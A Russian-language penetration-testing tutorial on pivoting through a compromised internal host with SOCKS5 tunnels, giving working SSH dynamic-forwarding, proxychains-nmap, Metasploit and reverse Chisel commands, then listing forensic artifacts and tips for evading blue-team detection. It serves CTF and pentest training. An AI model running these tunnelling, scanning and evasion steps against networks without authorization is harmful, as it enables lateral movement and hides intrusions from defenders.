Offensive Security

Пивот через скомпрометированные хосты с помощью SOCKS5-туннелей

4 min read Published Updated 745 words

Один скомпрометированный хост во внутренней сети бесполезен без надёжного пути для pivoting. SOCKS5-туннели поверх SSH обеспечивают наименьшую задержку и наиболее универсальный метод для латерального перемещения — однако большинство операторов настраивают их неправильно или оставляют криминалистические следы, которые компетентная синяя команда заметит за секунды. В 2024 году правильно настроенный SOCKS5-прокси всё ещё превосходит HTTP CONNECT-прокси по сырой пропускной способности TCP, а с помощью таких инструментов, как proxychains-ng и Chisel, вы можете направлять nmap, Metasploit и пользовательские скрипты через одно SSH-соединение, не затрагивая правила брандмауэра цели.

Почему SOCKS5 через SSH лучше проброса портов

Статический локальный проброс портов (-L) вынуждает вас сопоставлять каждый удалённый сервис с локальным портом, прежде чем вы сможете с ним взаимодействовать. Если вам нужно просканировать подсеть /24, придётся создать 254 отдельных проброса. Динамический проброс SOCKS5 (-D) решает эту проблему, предоставляя локальный SOCKS5-прокси, который направляет любое TCP-соединение через SSH-туннель к удалённому хосту. Протокол определён в RFC 1928 и поддерживает аутентификацию, UDP (опционально) и IPv6. На практике вы получаете один локальный слушатель — обычно на 127.0.0.1:1080 — и любой инструмент, поддерживающий SOCKS-прокси, может его использовать. Накладные расходы незначительны: шифрование SSH добавляет около 5–10% загрузки CPU, но задержка значительно ниже, чем у VPN или обратного проброса портов через веб-шелл.

Настройка SOCKS5-слушателя на Linux-плацдарме

Предположим, у вас есть шелл на Linux-хосте внутри целевой сети. Самый быстрый способ организовать pivot — запустить ssh -D 1080 -N -f user@your-listener с скомпрометированного хоста обратно на вашу атакующую машину. Но для этого требуется исходящий SSH-доступ, который может быть заблокирован. Вместо этого запустите динамический проброс с вашей атакующей машины на скомпрометированный хост:

ssh -D 1080 -N -f compromised_user@compromised_host

Это открывает SOCKS5-прокси на вашем локальном порту 1080. Теперь настройте proxychains-ng (/etc/proxychains.conf) для использования этого прокси:

socks5 127.0.0.1 1080

Затем запустите любой TCP-инструмент через туннель:

proxychains4 nmap -sT -Pn -p 445,3389 10.10.10.0/24

Обратите внимание, что nmap требует -sT (TCP connect scan), поскольку SOCKS5 не поддерживает сырые SYN-пакеты. Для Metasploit установите setg Proxies socks5:127.0.0.1:1080, и все вспомогательные и эксплойт-модули будут направляться через pivot. Этот метод работает в CTF-средах, таких как Hack The Box или Proving Grounds, где цель — добраться до второй подсети.

Chisel, Ligolo-ng и компромиссы

Когда SSH недоступен — например, на целевой системе Windows или отсутствует SSH-сервер — на помощь приходят альтернативные инструменты туннелирования. Chisel использует клиент и сервер на Go, которые туннелируют TCP через HTTP/HTTPS. Запустите сервер на своей атакующей машине: chisel server -p 8000 --reverse. На скомпрометированном хосте запустите клиент: chisel client your_ip:8000 R:socks. Это даёт вам SOCKS5-слушатель на стороне сервера. Chisel быстр и работает через строгие исходящие фильтры, но его трафик по умолчанию не шифруется — оберните его в TLS или используйте SSH, если вам важна операционная безопасность.

Ligolo-ng использует другой подход: он создаёт сетевой туннель на уровне 3 с помощью интерфейсов TUN/TAP. Вместо SOCKS5 вы маршрутизируете целые диапазоны IP через pivot. Это означает, что вы можете запустить nmap -sS (SYN-сканирование) без proxychains. Плата за это — административные издержки: нужны права root на обоих концах, а настройка туннеля требует добавления маршрутов на вашей атакующей машине. Для CTF, где вы контролируете обе стороны, Ligolo-ng быстрее. В реальных пентестах подход с SOCKS5 более портативен, поскольку работает без повышенных привилегий на хосте-плацдарме.

Сигналы обнаружения, которые оставляют атакующие

Каждый метод pivoting оставляет артефакты. Динамический проброс SSH создаёт слушающий сокет на скомпрометированном хосте — ss -tlnp показывает процесс ssh, привязанный к 127.0.0.1:1080. Синие команды могут сопоставить это с исходящими SSH-соединениями на внешний IP. Процесс клиента Chisel по умолчанию называется chisel — его тривиально обнаружить с помощью мониторинга процессов. Ligolo-ng требует TUN-устройство (ip link show), что нетипично для сервера.

Хуже того, многие операторы забывают подчищать следы. SSH-сессия остаётся активной, пока удалённый хост не завершит её или соединение не оборвётся. Proxychains не оставляет локальных артефактов, но сам трафик nmap — необычные сканирования портов с хоста, который обычно не сканирует — вызывает срабатывание IDS. Самая распространённая ошибка — использование стандартного порта SOCKS5 1080. Смените его на высокий эфемерный порт (например, ssh -D 53421) и задайте псевдоним для конфигурации proxychains, чтобы не оставлять файл конфигурации по умолчанию. В CTF это не имеет значения. В реальном пентесте такие сигналы — это то, как вас ловят.